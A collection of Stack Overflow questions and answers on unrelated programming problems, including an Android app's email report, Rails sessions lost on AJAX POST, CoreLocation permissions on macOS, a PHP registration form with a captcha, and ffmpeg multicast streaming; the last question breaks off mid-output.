dados.getString("Whykettle", "Not Checked"); kettleout.setText("*Kettle,Toaster and Microwave all working: " + kettle); phone = dados.getString("Whyphone", "Not Checked"); phoneout.setText("*Phone has a dial tone and is barred for outgoing calls: " + phone); internet = dados.getString("Whyinternet", "Not Checked"); internetout .setText("*Is the Internet working with the settings written on the top: " + internet); bulbs = dados.getString("Whybulbs", "Not Checked"); bulbsout.setText("*Are ALL the bulbs working: " + bulbs); clocks = dados.getString("Whyclocks", "Not Checked"); clocksout.setText("*Are ALL the clocks set to the correct time: " + clocks); oven = dados.getString("Whyoven", "Not Checked"); ovenout.setText("*Is the oven working and the time set: " + oven); boiler = dados.getString("Whyboiler", "Not Checked"); boilerout.setText("*Is the pressure on the boiler correct: " + boiler); hwater = dados.getString("Whyhwater", "Not Checked"); hwaterout .setText("*Is the hot water working and at a good temperature: " + hwater); wtanks = dados.getString("Whywtanks", "Not Checked"); wtanksout.setText("*Are the water tanks full: " + wtanks); heating = dados.getString("Whyheating", "Not Checked"); heatingout.setText("*Is the Heating working in every room: " + heating); thermo = dados.getString("Whythermo", "Not Checked"); thermoout .setText("*Is the thermostat set to 18° (winter and if a guest is moving in) or off(summer or no guest): " + thermo); rad = dados.getString("Whyrad", "Not Checked"); radout.setText("*Are the rad controls correct?: " + rad); toilets = dados.getString("Whytoilets", "Not Checked"); toiletsout.setText("*Are the toilets flushing correctly: " + toilets); taps = dados.getString("Whytaps", "Not Checked"); tapsout.setText("*Are the tap washers/o-rings OK: " + taps); leaks = dados.getString("Whyleaks", "Not Checked"); leaksout.setText("*Are there any leaks(under the sinks, behind the toilets, around the showers, etc.): " + leaks); holes = dados.getString("Whyholes", "Not Checked"); holesout.setText("*Are all plug holes draining well: " + holes); shower = dados.getString("Whyshower", "Not Checked"); showerout .setText("*Are all showers working well, no leaks and shower heads in good order: " + shower); items = dados.getString("Whyitems", "Not Checked"); itemsout.setText("*Are there any items in the property that should not be there: " + items); draws = dados.getString("Whydraws", "Not Checked"); drawsout.setText("*Have all the draws and cupboards been opened to make sure they are OK: " + draws); curtains = dados.getString("Whycurtains", "Not Checked"); curtainsout .setText("*Are the curtains and blinds opening and closing correctly and fixed well: " + curtains); walls = dados.getString("Whywalls", "Not Checked"); wallsout.setText("*Are the carpets, upholstry and walls in good condition: " + walls); furniture = dados.getString("Whyfurniture", "Not Checked"); furnitureout.setText("*Is the furniture all in good order: " + furniture); handles = dados.getString("Whyhandles", "Not Checked"); handlesout .setText("*Are the door handles and locks working and not loose: " + handles); silicone = dados.getString("Whysilicone", "Not Checked"); siliconeout .setText("*Is the silicone in the bathrooms and kitchen in good order: " + silicone); order = dados.getString("Whyorder", "Not Checked"); orderout.setText("*Is the furniture positioned correctly: " + order); outside = dados.getString("Whyoutside", "Not Checked"); outsideout .setText("*Is the outside of the property clean and in order: " + outside); space = dados.getString("Whyspace", "Not Checked"); spaceout.setText("*Is the parking space empty and clearly marked: " + space); garage = dados.getString("Whygarage", "Not Checked"); garageout.setText("*Is the garage clean and clear: " + garage); roof = dados.getString("Whyroof", "Not Checked"); roofout.setText("*Are the gutters clear, roof OK, Brickwork OK, Window seals OK: " + roof); bins = dados.getString("Whybins", "Not Checked"); binsout.setText("*Are the bins are empty and clear: " + bins); hoover = dados.getString("Whyhoover", "Not Checked"); hooverout.setText("*Hoover working and empty: " + hoover); hairdryer = dados.getString("Whyhairdryer", "Not Checked"); hairdryerout.setText("*Hairdryer working: " + hairdryer); iron = dados.getString("Whyiron", "Not Checked"); ironout.setText("*Iron working: " + iron); clean = dados.getString("Whyclean", "Not Checked"); cleanout.setText("*Are the windows clean outside: " + clean); post = dados.getString("Whypost", "Not Checked"); postout.setText("*Collected all post from the property and postbox: " + post); gls = dados.getString("GLS", "0"); glsout.setText("*GLS: " + gls); golf = dados.getString("Golf", "0"); golfout.setText("*Golf: " + golf); candles = dados.getString("Candles", "0"); candlesout.setText("*Candles: " + candles); gu10 = dados.getString("GU-10", "0"); gu10out.setText("*GU-10: " + gu10); mr16 = dados.getString("MR-16", "0"); mr16out.setText("*MR-16: " + mr16); g4caps = dados.getString("G4-Caps", "0"); g4capsout.setText("*G4-Caps: " + g4caps); fridge = dados.getString("Fridge", "0"); fridgeout.setText("*Fridge: " + fridge); cookhood = dados.getString("Cooker_Hood", "0"); cookhoodout.setText("*Cooker Hood: " + cookhood); lamp1 = dados.getString("lamp1", "0"); lamp1price = dados.getString("lamp1price", "0"); lamp1out.setText("*Other lamp: " + lamp1 + ". Cost " + lamp1price + "£"); lamp2 = dados.getString("lamp2", "0"); lamp2price = dados.getString("lamp2price", "0"); lamp2out.setText("*Other lamp: " + lamp2 + ". Cost " + lamp2price + "£"); lamp3 = dados.getString("lamp3", "0"); lamp3price = dados.getString("lamp3price", "0"); lamp3out.setText("*Other lamp: " + lamp3 + ". Cost " + lamp3price + "£"); item1 = dados.getString("item1", ""); priceitem1 = dados.getString("price1", ""); stockitem1 = dados.getString("stock1", ""); item1out.setText("*Item: " + item1 + ". Price: " + priceitem1 + "£. Stock:" + stockitem1 + "£."); item2 = dados.getString("item2", ""); priceitem2 = dados.getString("price2", ""); stockitem2 = dados.getString("stock2", ""); item2out.setText("*Item: " + item2 + ". Price: " + priceitem2 + "£. Stock:" + stockitem2 + "£."); item3 = dados.getString("item3", ""); priceitem3 = dados.getString("price3", ""); stockitem3 = dados.getString("stock3", ""); item3out.setText("*Item: " + item3 + ". Price: " + priceitem3 + "£. Stock:" + stockitem3 + "£."); item4 = dados.getString("item4", ""); priceitem4 = dados.getString("price4", ""); stockitem4 = dados.getString("stock4", ""); item4out.setText("*Item: " + item4 + ". Price: " + priceitem4 + "£. Stock:" + stockitem4 + "£."); item5 = dados.getString("item5", ""); priceitem5 = dados.getString("price5", ""); stockitem5 = dados.getString("stock5", ""); item5out.setText("*Item: " + item5 + ". Price: " + priceitem5 + "£. Stock:" + stockitem5 + "£."); item6 = dados.getString("item6", ""); priceitem6 = dados.getString("price6", ""); stockitem6 = dados.getString("stock6", ""); item6out.setText("*Item: " + item6 + ". Price: " + priceitem6 + "£. Stock:" + stockitem6 + "£."); elec1 = dados.getString("elec1", "0"); elec1out.setText("*Elec1: " + elec1); elec2 = dados.getString("elec2", "0"); elec2out.setText("*Elec2: " + elec2); elec3 = dados.getString("elec3", "0"); elec3out.setText("*Elec3: " + elec3); gas = dados.getString("gas", "0"); gasout.setText("*Gas: " + gas); water = dados.getString("water", "0"); waterout.setText("*Water: " + water); issues = dados.getString("issues", "none"); issuesout.setText("*Side note: " + issues); if (callt1.equals("") &amp;&amp; callt2.equals("") &amp;&amp; callt3.equals("") &amp;&amp; callt4.equals("") &amp;&amp; callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("No Jobs done."); } else if (!callt1.equals("") &amp;&amp; !callt2.equals("") &amp;&amp; !callt3.equals("") &amp;&amp; !callt4.equals("") &amp;&amp; !callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("Jobs done:\n1." + callt1 + "\n2." + callt2 + "\n3." + callt3 + "\n4." + callt4 + "\n5." + callt5); } else if (!callt1.equals("") &amp;&amp; !callt2.equals("") &amp;&amp; !callt3.equals("") &amp;&amp; !callt4.equals("") &amp;&amp; callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("Jobs done:\n1." + callt1 + "\n2." + callt2 + "\n3." + callt3 + "\n4." + callt4); } else if (!callt1.equals("") &amp;&amp; !callt2.equals("") &amp;&amp; !callt3.equals("") &amp;&amp; callt4.equals("") &amp;&amp; callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("Jobs done:\n1." + callt1 + "\n2." + callt2 + "\n3." + callt3); } else if (!callt1.equals("") &amp;&amp; !callt2.equals("") &amp;&amp; callt3.equals("") &amp;&amp; callt4.equals("") &amp;&amp; callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("Jobs done:\n1." + callt1 + "\n2." + callt2); } else if (!callt1.equals("") &amp;&amp; callt2.equals("") &amp;&amp; callt3.equals("") &amp;&amp; callt4.equals("") &amp;&amp; callt5.equals("") &amp;&amp; callt6.equals("")) { callout.setText("Jobs done:\n1." + callt1); } else { callout.setText("Jobs done:\n1." + callt1 + "\n2." + callt2 + "\n3." + callt3 + "\n4." + callt4 + "\n5." + callt5 + "\n6." + callt6); reportemail="funny"; } sendmail.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent sendmail = new Intent(Intent.ACTION_SEND); sendmail.setData(Uri.parse("mailto:")); sendmail.setType("text/html"); sendmail.putExtra(android.content.Intent.EXTRA_EMAIL, new String[]{"someone@gmail.com"}); sendmail.putExtra(Intent.EXTRA_SUBJECT, "Report"); //here is where my problem begins: I want to fill the body with the details above but I cannot find a way. sendmail.putExtra(Intent.EXTRA_TEXT , ); startActivity(Intent.createChooser(sendmail, "Send mail...")); finish(); Log.i("Finished sending email...", ""); } }); } } </code></pre>
5126721	0	Rails not reloading session on ajax post <p>I'm experiencing a very strange problem with Rails and ajax using jQuery (although I don't think it's specific to jQuery).</p> <p>My Rails application uses the cookie session store, and I have a very simple login that sets the user id in the session. If the user_id isn't set in the session, it redirects to a login page. This works with no problems. JQuery GET requests work fine too. The problem is when I do a jQuery POST - the browser sends the session cookie ok (I confirmed this with Firebug and dumping request.cookies to the log) but the session is blank, i.e. session is {}.</p> <p>I'm doing this in my application.js:</p> <pre><code>$(document).ajaxSend(function(e, xhr, options) { var token = $("meta[name='csrf-token']").attr('content'); xhr.setRequestHeader('X-CSRF-Token', token); }); </code></pre> <p>and here is my sample post:</p> <pre><code>$.post('/test/1', { _method: 'delete' }, null, 'json'); </code></pre> <p>which should get to this controller method (_method: delete):</p> <pre><code>def destroy respond_to do |format| format.json { render :json =&gt; { :destroyed =&gt; 'ok' }.to_json } end end </code></pre> <p>Looking at the log and using Firebug I can confirm that the correct cookie value is sent in the request header when the ajax post occurs, but it seems that at some point Rails loses this value and therefore loses the session, so it redirects to the login page and never gets to the method.</p> <p>I've tried everything I can think of to debug this but I'm coming around to the idea that this might be a bug in Rails. I'm using Rails 3.0.4 and jQuery 1.5 if that helps. I find it very strange that regular (i.e. non-ajax) get and post requests work, and ajax get requests work with no problems, it's just the ajax posts that don't.</p> <p>Any help in trying to fix this would be greatly appreciated!</p> <p>Many thanks,<br> Dave</p>
18079494	0	 <p>First of all, a service does not imply that a separate thread is running, but I guess this is what you want to do. If you run several threads, there is no way of the AndroidOS to terminate them besides killing the whole Dalvik VM. And this means that you have no way of knowing when you are about to be terminated. If you have a service with a thread and use proper life-cycle management, i.e. kill the thread when Android notifies the service that it is about to stop it, then it is easy to maintain state.</p> <p>Regarding your question: use several services with one thread each</p>
28377503	0	Why is CoreLocation (Mac OS X) not remembering my choice to allow its use? <p>I'm probably being very stupid, but I can't work out why the following is happening:</p> <p>I have an app on Mac OS X which uses CoreLocation. Below is the the relevant code:</p> <p>It asks for permission to use my location every time it launches and never remembers that I have already granted use of location data.</p> <p>The app never appears in the 'Privacy' Preference pane.</p> <p>Am I missing something?</p> <p>Thanks.</p> <pre><code>#pragma mark - General Instance Methods - (void)determineLocation { if (self.locationManager) { DDLogWarn(@"determinLocation called, but we already have a locationManager instance variable..."); DDLogWarn(@"This is a bug."); } self.currentlocationName = @"Location unknown"; if (![CLLocationManager locationServicesEnabled]) { DDLogWarn(@"Location Services not enabled."); [self fallBackToHardcodedLocation]; return; } // Location services are available. self.locationManager = [[CLLocationManager alloc] init]; self.locationManager.delegate = self; // Coarse-grained location accuracy required. self.locationManager.desiredAccuracy = kCLLocationAccuracyThreeKilometers; self.locationManager.distanceFilter = 1000; // meters - 1km [self.locationManager startUpdatingLocation]; } #pragma mark - Location Manager Delegate Methods - (void)locationManager:(CLLocationManager *)manager didChangeAuthorizationStatus:(CLAuthorizationStatus)status { DDLogVerbose(@"Our authorisation to use the location manager has changed."); switch (status) { case kCLAuthorizationStatusNotDetermined: DDLogError(@"LocationManager Authorisation status not determined. (User hasn't chosen yet)"); break; case kCLAuthorizationStatusAuthorized: DDLogVerbose(@"We are now authorised for locationServices."); [self.locationManager startUpdatingLocation]; break; case kCLAuthorizationStatusDenied: DDLogWarn(@"LocationManager: We are now explicitly denied!"); [self.locationManager stopUpdatingLocation]; break; case kCLAuthorizationStatusRestricted: DDLogWarn(@"LocationManager We are now restricted! (not authorised - perhaps due to parental controls...)"); [self.locationManager stopUpdatingLocation]; break; default: break; } } - (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations { // Main callback for location discovery..§ CLLocation* location = [locations lastObject]; NSDate* eventDate = location.timestamp; NSTimeInterval howRecent = [eventDate timeIntervalSinceNow]; if (abs(howRecent) &lt; 15.0) { // Event is recent. Do something with it. if (location.horizontalAccuracy &gt; 1000) { DDLogWarn(@"Location Accuracy is worse than 1km, discarding..."); } else { [self updateLocation:location]; } return; } DDLogWarn(@"Stale location data..."); [self updateLocation:location]; } </code></pre> <p>It always asks permission: (kCLAuthorizationStatusNotDetermined appears to always be the case.)</p> <pre><code> 2015-02-07 01:03:36:127 Central Heating[2260:30b] LocationManager Authorisation status not determined. (User hasn't chosen yet) </code></pre> <p><img src="https://i.stack.imgur.com/daigk.png" alt="CoreLocation permission always asked"> (Dialog text: "Central Heating" would like to use your current location. Your location is needed for weather forecasting. [Don't allow] [OK])</p>
13504438	0	 <p>If you want to install a Chrome extension via other software, <a href="http://developer.chrome.com/extensions/external_extensions.html" rel="nofollow">this might help</a>.</p> <p>However, I believe that the user now has to approve the installation under the Wrench icon.</p>
14886455	0	 <p>In PHP, much like HTML, a line-break/carriage return is generally just used to make your text more legible. This is so that future code edits are simple an easy to make. </p> <p>Not sure if this is completely relevant but I've found another post which relates to PHP formatting: <a href="http://stackoverflow.com/questions/3350560/php-coding-style-best-practices">PHP Coding style - Best practices</a></p>
4467302	0	 <p>You may remove that page with no problems. However, you will have to supply the WSDL to your clients in some other manner. You can simply post the WSDL to some secure area of your web site, or even email it to them.</p>
621411	0	Setting maximum number of Columns for ListView <p>How do we fix the maximum number of columns for a particular ListView control? Is there any thing like this:</p> <pre><code>listViewControl.MaximumColumns = 3; </code></pre>
3667781	0	 <p>(My second attempt at the answer.)</p> <p>This is rather an elaboration of Anthony Williams's answer.</p> <p>Both iterators that you need are available in the Boost libraries (your own myIter is lacking functionality which may make your code uncompilable with other compilers).</p> <pre><code>#include &lt;set&gt; #include &lt;algorithm&gt; #include &lt;iostream&gt; #include &lt;boost/iterator/counting_iterator.hpp&gt; #include &lt;boost/iterator/transform_iterator.hpp&gt; #include &lt;boost/mem_fn.hpp&gt; struct point { point(int X, int Y):x(X), y(Y){} int x; int y; }; bool operator&lt; (const point&amp; a, const point&amp; b) { return a.x &lt; b.x || (a.x == b.x &amp;&amp; a.y &lt; b.y); } int main() { std::set &lt;point&gt; myset; myset.insert(point(1, 1)); myset.insert(point(3, 2)); myset.insert(point(5, 3)); //find the missing elements in set for `point.x` using `set_difference` std::set&lt;int&gt; missing; using namespace boost; std::set_difference( counting_iterator&lt;int&gt;(myset.begin()-&gt;x+1), counting_iterator&lt;int&gt;(myset.rbegin()-&gt;x), make_transform_iterator( myset.begin(), mem_fn(&amp;point::x)), make_transform_iterator( myset.end(), mem_fn(&amp;point::x)), std::inserter(missing, missing.begin())); std::copy(missing.begin(), missing.end(), std::ostream_iterator&lt;int&gt;(std::cout, " ")); } </code></pre> <p>Points of interest:</p> <ul> <li><code>point</code> needs to be "less-than" comparable, if you want to store them in a <code>set</code></li> <li><code>boost::counting_iterator</code> is a better <code>myIter</code></li> <li><code>boost::transform_iterator</code> allows you to apply a function to the value when dereferenced. In combination with <code>boost::mem_fn</code> it obtains the <code>Point::x</code> member when the iterator is dereferenced.</li> <li>use the helper function <code>std::inserter</code> to get the template arguments deduced</li> <li>the results don't have to be stored in a <code>set</code> (neither does the input have to come from a <code>set</code>, as long as the range is sorted with respect to the used predicate - here comparing the x member.</li> </ul>
33817217	0	Using ffserver to do UDP multicast streaming <p>Here's the deal. I'm working with IPTV hardware and I need to output a bunch of demo streams. These are MPEG2 transport stream that need to be straight up UDP Multicast streams. I have an ffmpeg command that works great:</p> <p><code>ffmpeg -re -i /Volumes/Data/DemoVideos/GRAILrpsp.ts -acodec copy -vcodec copy -f mpegts udp://239.192.1.82:12000[ttl=1,buffer_size=2097157] </code></p> <p>What I would like to do is convert this into an ffserver config file instead of having to start a whole bunch of ffmpeg streams and then figuring out how to get them to loop. I'm sure I can do it with the right scripting but what a pain, isn't that what ffserver is for? But I can't find any documentation on doing UDP streaming using ffserver. You can set a multicast address and port but it goes to RTP which this hardware isn't designed for. Any help would be greatly appreciated.</p>
7159977	0	 <p>No a handler is a separate object class and so one would not need to be defined if you were making an Activity.</p> <p><a href="http://developer.android.com/reference/android/app/Activity.html" rel="nofollow">Activity</a></p> <p>A handler would be used if you wanted to go do something in another thread/class and call back to the activity/ui.</p> <p><a href="http://developer.android.com/reference/android/os/Handler.html" rel="nofollow">Handler</a></p>
34277206	0	 <p>kaylum answered perfectly when you split your project in more than a source file (the .c files) you have to compile them all into an object file (the .o files) then the compiler can merge your object file in an exec file.</p> <p>the undefined reference error means that your program use something that has not been compiled.</p> <p>gcc func.c main.c -o this option specify that the two source file will be compiled in the same object file so there will the reference of the function that you call in your program.</p>
12801510	0	 <p>It's still a regular many-to-many relationship, and it should get mapped correctly by default. Specific business (validation) rules do not change its nature.</p> <p>You can implement <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.dataannotations.ivalidatableobject.aspx" rel="nofollow">IValidatableObject</a> if you want to enforce specific cardinalities when saving.</p>
6114867	0	 <p>For your custom classes to return a stable hash code you should override the GetHashCode() method or else the GetHashCode method of the Object class will be used, which I think can vary a lot. (Might even be instance specific).</p>
1919672	0	 <p>If <code>c_str()</code> is returning to you a copy of the string object internal buffer, you can just use <code>const_cast&lt;&gt;</code>.</p> <p>However, if <code>c_str()</code> is giving you direct access tot he string object internal buffer, make an explicit copy, instead of removing the const.</p>
19119459	0	 <p>Try the following:</p> <pre><code>saySomething | Tee-Object -Variable something </code></pre> <p>This should work exactly as you want.</p>
23104433	0	 <p>There is no built in method in pandas I can think of, you would have to save the original df prior to the update and then compare, the trick is to ensure that <code>NaN</code> comparisons are treated the same as non-zero values, here df3 is a copy of df prior to the call to update:</p> <pre><code>In [104]: df.update(df2) df Out[104]: A B C D E axis1 A NaN NaN NaN NaN 1 Apple 1 NaN NaN 1 1 Linux 1 1 1 NaN 1 Unix 1 1 NaN 1 1 Window 1 NaN 1 NaN NaN [5 rows x 5 columns] In [105]: df3 Out[105]: A B C D E axis1 A NaN NaN NaN NaN NaN Apple 1 NaN NaN 1 NaN Linux 1 1 1 NaN NaN Unix 1 1 NaN 1 NaN Window NaN NaN 1 NaN NaN [5 rows x 5 columns] In [106]: # compare but notice that NaN comparison returns True df!=df3 Out[106]: A B C D E axis1 A True True True True True Apple False True True False True Linux False False False True True Unix False False True False True Window True True False True True [5 rows x 5 columns] In [107]: # use numpy count_non_zero for easy counting, note this gives wrong result np.count_nonzero(df!=df3) Out[107]: 16 In [132]: ~((df == df3) | (np.isnan(df) &amp; np.isnan(df3))) Out[132]: A B C D E axis1 A False False False False True Apple False False False False True Linux False False False False True Unix False False False False True Window True False False False False [5 rows x 5 columns] In [133]: np.count_nonzero(~((df == df3) | (np.isnan(df) &amp; np.isnan(df3)))) Out[133]: 5 </code></pre>
30631276	0	if ($_server request_method == post ) don't work when form post <p>I have a form for register and I used <code>securimage</code> captcha in my project. When I want echo something after <code>session_start();</code> like <code>print_r($_post)</code> result is <code>array()</code> but when I comment all <code>if</code> condition that's work, why? And when I submit my form to this page but for this condition don't submit just page refresh: </p> <pre><code>if ($_server request_method == post )//stop here don't go inside if condition </code></pre> <p>And this is my <code>register.php</code> page codes:</p> <pre><code>&lt;?PHP session_start(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { include_once dirname(__FILE__).'/process/dbconfig.php'; $flag=true; echo"Asb"; if(isset($_POST['captcha_code'])){ include_once dirname(__FILE__) . '/captcha/securimage.php'; $captcha = $_POST['captcha_code']; $image = new Securimage(); echo $_POST['captcha_code']; if ($image-&gt;check($_POST['captcha_code'] ) == false) { $flag=false; $_SESSION['caperr']='Invalid captcha code'; //$err='Invalid captcha code'; header('Location: '.'reister.php'); } //print_r($_SESSION['caperr']); if(isset($_POST['firstname']) &amp;&amp; isset($_POST['lastname']) &amp;&amp; isset($_POST['username']) &amp;&amp; isset($_POST['password1']) &amp;&amp; isset($_POST['password2']) &amp;&amp; isset($_POST['day']) &amp;&amp; isset($_POST['year']) &amp;&amp; isset($_POST['month']) &amp;&amp; isset($_POST['cell']) &amp;&amp; isset($_POST['agree']) &amp;&amp; isset($_POST['gen']) &amp;&amp; ($_POST['password1']==$_POST['password2']) &amp;&amp; $flag &amp;&amp; isset($_POST['agree'])){ $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password); $sql = $conn-&gt;prepare('Insert into users(firstname,lastname,username,password,birthday,gender,phone)values(:firstname,:lastname,:user,:pass,:birth,:gen,:phone)'); $user=$_POST['username']; $firstname=$_POST['firstname']; $lastname=$_POST['lastname']; $pass=md5($_POST['password1']); $birth=$_POST['day'].'-'.$_POST['month'].'-'.$_POST['year']; $gen=$_POST['gen']; $phone=$_POST['cell']; $sql-&gt;bindParam(':user',$user,PDO::PARAM_STR,60); $sql-&gt;bindParam(':firstname',$firstname,PDO::PARAM_STR,50); $sql-&gt;bindParam(':lastname',$lastname,PDO::PARAM_STR,80); $sql-&gt;bindParam(':pass',$pass,PDO::PARAM_STR,60); $sql-&gt;bindParam(':gen',$gen,PDO::PARAM_BOOL); $sql-&gt;bindParam(':birth',$birth,PDO::PARAM_STR,10); $sql-&gt;bindParam(':phone',$phone,PDO::PARAM_STR,11); if($sql-&gt;execute()){ $_SESSION['success']='Your register is successful! '; } } else{ if(!($_POST['password1']==$_POST['password2'])){ $_SESSION['errsubmitp']='Your passwords must same!'; } else $_SESSION['errsubmit']='Please fill all inputs!'; $_SESSION['caperr']='Invalid captcha code'; header('Location: '.'reister.php'); } } else{ echo "uuuuuuuuuuuuuuuuuuu"; $_SESSION['captchafill']='Please Fill captcha code'; header('Location: '.'reister.php'); } } ?&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Register&lt;/title&gt; &lt;link href="content/css/main.css" rel="stylesheet" /&gt; &lt;script src="content/js/jquery.js"&gt;&lt;/script&gt; &lt;script src="content/js/jBox.min.js"&gt;&lt;/script&gt; &lt;link href="content/css/jBox.css" rel="stylesheet" /&gt; &lt;script src="content/js/icheck.js"&gt;&lt;/script&gt; &lt;link href="content/css/minimal.css" rel="stylesheet" /&gt; &lt;script src="content/js/js.js"&gt;&lt;/script&gt; &lt;link href="content/css/chosen.min.css" rel="stylesheet" /&gt; &lt;script src="content/js/chosen.jquery.min.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="page"&gt; &lt;div id="head"&gt; &lt;h2&gt;Create your account&lt;/h2&gt; &lt;/div&gt; &lt;div id="content"&gt; &lt;div id="lefthalf"&gt; &lt;span id="ajax_user" class="ajax_username"&gt;&lt;/span&gt; &lt;?php if(isset($_SESSION['success'])) {?&gt; &lt;div id="success" style="height: 60px;background-color: #53a642; text-align: center;"&gt; &lt;div&gt; &lt;p style=" margin-left: 62px; float: left;"&gt;&lt;?= $_SESSION['success']?&gt;&lt;/p&gt; &lt;a href="login.php" style="text-decoration: none;color: #ff0; margin-left: 7px; margin-top: 15px; float: left;"&gt;Login&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php unset($_SESSION['success']); }?&gt; &lt;form action="register.php" method="post"&gt; &lt;?php if(isset($_SESSION['errsubmit'])){ ?&gt; &lt;span id="all"&gt;&lt;?=$_SESSION['errsubmit'];?&gt;&lt;/span&gt; &lt;?php unset($_SESSION['errsubmit']); }?&gt; &lt;div id="name"&gt; &lt;label&gt;Name&lt;/label&gt; &lt;input type="text" class="tooltip" name="firstname" placeholder="First" id="first" title="Please Enter Your FirstName!" style="margin-right:10px;" /&gt; &lt;input type="text" class="tooltip" name="lastname" placeholder="Last" id="last" title="Please Enter Your LastName!" /&gt; &lt;span id="firsterr"&gt;&lt;/span&gt; &lt;span id="lasterr"&gt;&lt;/span&gt; &lt;/div&gt; &lt;div id="username"&gt; &lt;label&gt;Choose your username&lt;/label&gt; &lt;input type="text" id="usernamef" name="username" class="tooltip" title="Please Enter Your UserName!" placeholder="Enter Username" /&gt; &lt;span id="usernameerr" class="tooltip"&gt;&lt;/span&gt; &lt;span id="valid"&gt;&lt;/span&gt; &lt;label&gt;Create a password&lt;/label&gt; &lt;input type="password" name="password1" id="pass" class="tooltip" title="Please Enter Your Password!" placeholder="Enter Your password" /&gt; &lt;span id="passerr"&gt;&lt;/span&gt; &lt;label&gt;Confirm your password&lt;/label&gt; &lt;input type="password" id="conf" name="password2" class="tooltip" title="Please Confirm Your Password!" placeholder="Confirm Your password" /&gt; &lt;span id="conferr"&gt;&lt;/span&gt; &lt;?php if(isset($_SESSION['errsubmitp'])){?&gt; &lt;span id="confierr2"&gt;&lt;?=$_SESSION['errsubmitp'];?&gt;&lt;/span&gt; &lt;?php unset($_SESSION['errsubmitp']); }?&gt; &lt;span id="confierr"&gt;&lt;/span&gt; &lt;/div&gt; &lt;div id="born"&gt; &lt;label&gt;Birthday&lt;/label&gt; &lt;div id="test"&gt; &lt;select class="my_select_box chosen-select-no-results" tabindex="-1" id="month" data-placeholder="Month" name="month"&gt; &lt;option&gt;&lt;/option&gt; &lt;option value="1"&gt;January&lt;/option&gt; &lt;option value="2"&gt;February&lt;/option&gt; &lt;option value="3"&gt;March&lt;/option&gt; &lt;option value="4"&gt;April&lt;/option&gt; &lt;option value="5"&gt;May&lt;/option&gt; &lt;option value="6"&gt;June&lt;/option&gt; &lt;option value="7"&gt;July&lt;/option&gt; &lt;option value="8"&gt;August&lt;/option&gt; &lt;option value="9"&gt;September&lt;/option&gt; &lt;option value="10"&gt;October&lt;/option&gt; &lt;option value="11"&gt;November&lt;/option&gt; &lt;option value="12"&gt;December&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;input type="text" placeholder="Day" name="day" id="day" class="tooltip" title="Please Enter Your Born Day!" maxlength="2" onkeydown="prevent('#day');" /&gt; &lt;input type="text" placeholder="Year" name="year" id="year" class="tooltip" title="Please Enter Your Born Year!" maxlength="4" onkeydown="prevent('#year');" /&gt; &lt;span id="montherr"&gt;&lt;/span&gt; &lt;span id="dayerr"&gt;&lt;/span&gt; &lt;span id="yearerr"&gt;&lt;/span&gt; &lt;/div&gt; &lt;div id="info"&gt; &lt;label&gt;Gender&lt;/label&gt; &lt;select id="gen" class="my_select_box chosen-select-no-results" name="gen"&gt; &lt;option value="13"&gt;I am ...&lt;/option&gt; &lt;option value="Male"&gt;Male&lt;/option&gt; &lt;option value="Fmale"&gt;Fmale&lt;/option&gt; &lt;/select&gt; &lt;span id="gendererr"&gt;&lt;/span&gt; &lt;label&gt;Mobile phone&lt;/label&gt; &lt;div id="cell"&gt; &lt;span&gt;+98&lt;/span&gt; &lt;input type="tel" id="tel" name="cell" class="tooltip" title="Please Enter Your Mobile!" maxlength="11" onkeydown="prevent('#tel');" /&gt; &lt;/div&gt; &lt;span id="tellerr"&gt;&lt;/span&gt; &lt;/div&gt; &lt;div id="captcha1"&gt; &lt;img id="captcha" src="captcha/securimage_show.php" alt="Captcha Image"/&gt; &lt;br/&gt; &lt;input type="text" name="captcha_code" size="6" maxlength="6" id="captcha_code"/&gt; &lt;br/&gt; &lt;a href="#" onclick="document.getElementById('captcha').src='captcha/securimage_show.php?'+Math.random();return false;"&gt;AAA&lt;/a&gt; &lt;/div&gt; &lt;?php if(isset($_SESSION['captchafill'])){?&gt; &lt;span id="chaperr1"&gt;&lt;?php $_SESSION['captchafill'];?&gt;&lt;/span&gt; &lt;?php }unset($_SESSION['captchafill']);?&gt; &lt;span id="chaperr"&gt;&lt;/span&gt; &lt;div id="agree"&gt; &lt;input type="checkbox" id="agg" name="agree"/&gt; &lt;span style="margin-left:5px;"&gt;I agree to the term of services ...&lt;/span&gt; &lt;/div&gt; &lt;div id="register"&gt; &lt;input type="submit" value="Register" id="reg" disabled="disabled" /&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I see same question but any of theme has my question answer. Please help me to handle this problem. I echo <code>var_dump($_SERVER)</code> before <code>if ($_SERVER['REQUEST_METHOD'] == 'post')</code> and this is my result:</p> <pre><code>array(45) { ["MIBDIRS"]=&gt; string(24) "C:/xampp/php/extras/mibs" ["MYSQL_HOME"]=&gt; string(16) "\xampp\mysql\bin" ["OPENSSL_CONF"]=&gt; string(31) "C:/xampp/apache/bin/openssl.cnf" ["PHP_PEAR_SYSCONF_DIR"]=&gt; string(10) "\xampp\php" ["PHPRC"]=&gt; string(10) "\xampp\php" ["TMP"]=&gt; string(10) "\xampp\tmp" ["HTTP_HOST"]=&gt; string(14) "localhost:8181" ["HTTP_CONNECTION"]=&gt; string(10) "keep-alive" ["CONTENT_LENGTH"]=&gt; string(3) "207" ["HTTP_CACHE_CONTROL"]=&gt; string(9) "max-age=0" ["HTTP_ACCEPT"]=&gt; string(74) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" ["HTTP_ORIGIN"]=&gt; string(21) "http://localhost:8181" ["HTTP_USER_AGENT"]=&gt; string(113) "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36" ["CONTENT_TYPE"]=&gt; string(33) 